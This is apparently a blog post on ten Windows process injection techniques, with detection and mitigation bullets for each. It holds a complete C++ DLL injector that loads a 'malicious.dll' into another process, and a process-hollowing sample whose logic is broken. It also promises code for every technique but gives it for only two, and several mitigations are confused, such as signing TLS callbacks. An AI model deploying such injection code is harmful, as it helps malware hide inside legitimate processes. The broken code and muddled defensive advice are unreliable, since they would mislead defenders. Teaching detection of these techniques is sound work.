Introduction
Process injection is a common tactic employed by malicious actors to inject code into a legitimate process, allowing them to evade detection and execute their malicious payloads. In this blog, we will delve into the top 10 Windows process injection techniques used by adversaries. For each technique, we will provide C++ code demonstrating the method, discuss how to detect its usage, and explore mitigation strategies to safeguard against these insidious attacks.
- Technique: DLL Injection
#include <Windows.h>
int main()
{
// Get the handle to the target process
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, <TARGET_PROCESS_ID>);
if (hProcess == NULL)
{
printf("Failed to open the target process. Error code: %d\n", GetLastError());
return 1;
}
// Path to the DLL to inject
const char* dllPath = "C:\\Path\\to\\malicious.dll";
// Allocate memory in the target process for the DLL path
LPVOID remoteMem = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT, PAGE_READWRITE);
if (remoteMem == NULL)
{
printf("Failed to allocate memory in the target process. Error code: %d\n", GetLastError());
CloseHandle(hProcess);
return 1;
}
// Write the DLL path to the allocated memory in the target process
if (!WriteProcessMemory(hProcess, remoteMem, dllPath, strlen(dllPath), NULL))
{
printf("Failed to write DLL path to the target process memory. Error code: %d\n", GetLastError());
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 1;
}
// Get the address of the LoadLibrary function in the target process
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
if (hKernel32 == NULL)
{
printf("Failed to get the handle to kernel32.dll. Error code: %d\n", GetLastError());
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 1;
}
LPVOID loadLibraryAddr = (LPVOID)GetProcAddress(hKernel32, "LoadLibraryA");
if (loadLibraryAddr == NULL)
{
printf("Failed to get the address of LoadLibraryA. Error code: %d\n", GetLastError());
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 1;
}
// Create a remote thread in the target process to execute LoadLibrary with the DLL path
HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)loadLibraryAddr, remoteMem, 0, NULL);
if (hRemoteThread == NULL)
{
printf("Failed to create a remote thread in the target process. Error code: %d\n", GetLastError());
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 1;
}
// Wait for the remote thread to finish
WaitForSingleObject(hRemoteThread, INFINITE);
// Cleanup
CloseHandle(hRemoteThread);
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 0;
}
Detection:
- Monitor API calls related to process and thread creation, such as LoadLibrary, CreateRemoteThread, and CreateProcess.
- Implement behavior-based anomaly detection to identify suspicious DLL loading patterns.
- Utilise security tools that can track DLL injections and hooking mechanisms.
Mitigation:
- Apply code signing to all DLLs to verify their authenticity.
- Implement the use of Microsoft’s Code Integrity to prevent unauthorizsed DLL loading.
- Utilise Windows Defender Application Control to block unsigned or unauthorised DLLs.
- Technique: Process Hollowing
#include <Windows.h>
int main()
{
// Path to the legitimate executable to hollow out
const char* legitimateExePath = "C:\\Path\\to\\legitimate.exe";
// Create a new suspended process using the legitimate executable
STARTUPINFOA startupInfo = { sizeof(startupInfo) };
PROCESS_INFORMATION processInfo;
if (!CreateProcessA(NULL, (LPSTR)legitimateExePath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &startupInfo, &processInfo))
{
printf("Failed to create the suspended process. Error code: %d\n", GetLastError());
return 1;
}
// Read the image headers of the legitimate executable
IMAGE_DOS_HEADER dosHeader;
IMAGE_NT_HEADERS32 ntHeaders;
if (!ReadProcessMemory(processInfo.hProcess, (LPCVOID)legitimateExePath, &dosHeader, sizeof(dosHeader), NULL)
|| !ReadProcessMemory(processInfo.hProcess, (LPCVOID)(legitimateExePath + dosHeader.e_lfanew), &ntHeaders, sizeof(ntHeaders), NULL))
{
printf("Failed to read the image headers. Error code: %d\n", GetLastError());
TerminateProcess(processInfo.hProcess, 1);
return 1;
}
// Allocate memory in the suspended process for the malicious payload
LPVOID payloadAddress = VirtualAllocEx(processInfo.hProcess, NULL, ntHeaders.OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (payloadAddress == NULL)
{
printf("Failed to allocate memory in the suspended process. Error code: %d\n", GetLastError());
TerminateProcess(processInfo.hProcess, 1);
return 1;
}
// Read the entire image of the legitimate executable
BYTE* buffer = new BYTE[ntHeaders.OptionalHeader.SizeOfImage];
if (!ReadProcessMemory(processInfo.hProcess, (LPCVOID)legitimateExePath, buffer, ntHeaders.OptionalHeader.SizeOfImage, NULL))
{
printf("Failed to read the entire image. Error code: %d\n", GetLastError());
VirtualFreeEx(processInfo.hProcess, payloadAddress, 0, MEM_RELEASE);
TerminateProcess(processInfo.hProcess, 1);
delete[] buffer;
return 1;
}
// Write the entire image into the hollowed memory space
if (!WriteProcessMemory(processInfo.hProcess, payloadAddress, buffer, ntHeaders.OptionalHeader.SizeOfImage, NULL))
{
printf("Failed to write the entire image into the hollowed memory space. Error code: %d\n", GetLastError());
VirtualFreeEx(processInfo.hProcess, payloadAddress, 0, MEM_RELEASE);
TerminateProcess(processInfo.hProcess, 1);
delete[] buffer;
return 1;
}
// Get the address of the entry point of the payload in the hollowed memory space
LPVOID entryPoint = (LPVOID)((DWORD_PTR)payloadAddress + ntHeaders.OptionalHeader.AddressOfEntryPoint);
// Resume the suspended process, starting the hollowed payload
if (ResumeThread(processInfo.hThread) == -1)
{
printf("Failed to resume the thread. Error code: %d\n", GetLastError());
VirtualFreeEx(processInfo.hProcess, payloadAddress, 0, MEM_RELEASE);
TerminateProcess(processInfo.hProcess, 1);
delete[] buffer;
return 1;
}
// Cleanup
delete[] buffer;
CloseHandle(processInfo.hThread);
CloseHandle(processInfo.hProcess);
return 0;
}
Detection:
- Monitor for suspended processes and analyse their memory content.
- Employ behavior-based detection to identify suspicious code injection activity.
- Implement memory integrity checks to detect alterations in process memory.
Mitigation:
- Utilise ASLR (Address Space Layout Randomisation) to randomise memory layout.
- Employ process injection detection tools that can detect and prevent hollowing.
- Implement process protection mechanisms like DEP (Data Execution Prevention) to prevent code execution in data regions.
- Technique: Thread Execution Hijacking
Detection:
- Monitor thread execution patterns and look for unusual code execution behavior.
- Analyse thread stacks for signs of code injection.
- Implement security tools that detect and prevent thread hijacking.
Mitigation:
- Utilise thread-level access controls to prevent unauthorised manipulation.
- Apply stack cookies (canary values) to protect against stack-based attacks.
- Implement code signing and validation for thread procedure functions.
- Technique: Process Doppelgänging
Detection:
- Monitor for changes in transactional NTFS activity.
- Analyse process creation events for discrepancies between expected and loaded code.
- Implement behavior-based detection to identify suspicious use of process doppelgänging.
Mitigation:
- Disable transactional NTFS for directories that can execute processes.
- Implement code integrity policies to prevent unauthorised executables from running.
- Utilise Windows Defender Exploit Guard to block suspicious process creation.
- Technique: AtomBombing
Detection:
- Monitor for suspicious use of atom tables and analyse their content.
- Implement behavior-based detection to identify unexpected atom table manipulation.
- Use security tools that detect AtomBombing techniques.
Mitigation:
- Restrict access to sensitive APIs that manipulate atom tables.
- Use Enhanced Protected Mode (EPM) in Internet Explorer to restrict atom table access.
- Implement application-specific safeguards against atom table manipulation.
- Technique: Process Environment Block (PEB) Modification
Detection:
- Monitor the PEB for unauthorised modifications, especially the LoadedModuleList.
- Analyse process memory for signs of PEB modification.
- Employ security tools that can detect PEB tampering.
Mitigation:
- Enforce strong access controls on the PEB to prevent unauthorised changes.
- Implement code signing and verification for all executable modules.
- Use anti-debugging techniques to protect against PEB manipulation.
- Technique: APC Queue Code Injection
Detection:
- Monitor for unusual APC activity and analyse thread contexts for suspicious modifications.
- Employ security tools that can detect and prevent malicious APC queue injection.
- Implement behavior-based detection to identify unusual APC queue manipulation.
Mitigation:
- Limit the use of APCs to authorised and essential operations.
- Implement memory protection techniques like DEP to prevent code execution from APCs.
- Utilise Windows Defender Application Control to block unauthorised APC queue code injection.
- Technique: Thread Local Storage (TLS) Callback Injection
Detection:
- Monitor for changes in TLS callbacks and analyse TLS directory entries for suspicious code.
- Employ behavior-based detection to identify unauthorised TLS callback manipulation.
- Use security tools that detect and prevent TLS callback injection.
Mitigation:
- Implement TLS callback protection mechanisms to prevent unauthorised code execution.
- Utilise certificate-based authentication for TLS callbacks to verify the integrity of the callback functions.
- Regularly monitor and validate TLS callbacks to detect any unauthorised changes.
- Technique: Memory Module
Detection:
- Monitor memory regions for signs of unexpected DLLs and other executable code.
- Employ behavior-based detection to identify memory module loading patterns.
- Use security tools that can detect and prevent memory module techniques.
Mitigation:
- Implement memory protection mechanisms to prevent code execution from non-executable memory regions.
- Employ strict access controls on memory regions to prevent unauthorised modification.
- Use security solutions that can detect memory module loading and block malicious activity.
- Technique: Reflective DLL Injection
Detection:
- Monitor for reflective loading techniques in process memory.
- Analyse memory regions for code with no legitimate executable origins.
- Employ behavior-based detection to identify unusual reflective loading patterns.
Mitigation:
- Implement code signing and validation for legitimate DLLs.
- Utilise code integrity policies to restrict unsigned DLLs from being loaded.
- Use security tools that can detect and prevent reflective DLL injection.
Conclusion:
Combating Windows process injection techniques requires a multi-layered approach, including behavior-based detection, memory integrity checks, code signing, and utilising advanced security solutions. Regularly updating security measures and maintaining awareness of emerging threats will significantly strengthen your organisation’s defenses against these stealthy attack techniques. Employing a combination of proactive detection and effective mitigation will enhance your ability to identify and neutralise malicious adversaries attempting to exploit process injection vulnerabilities.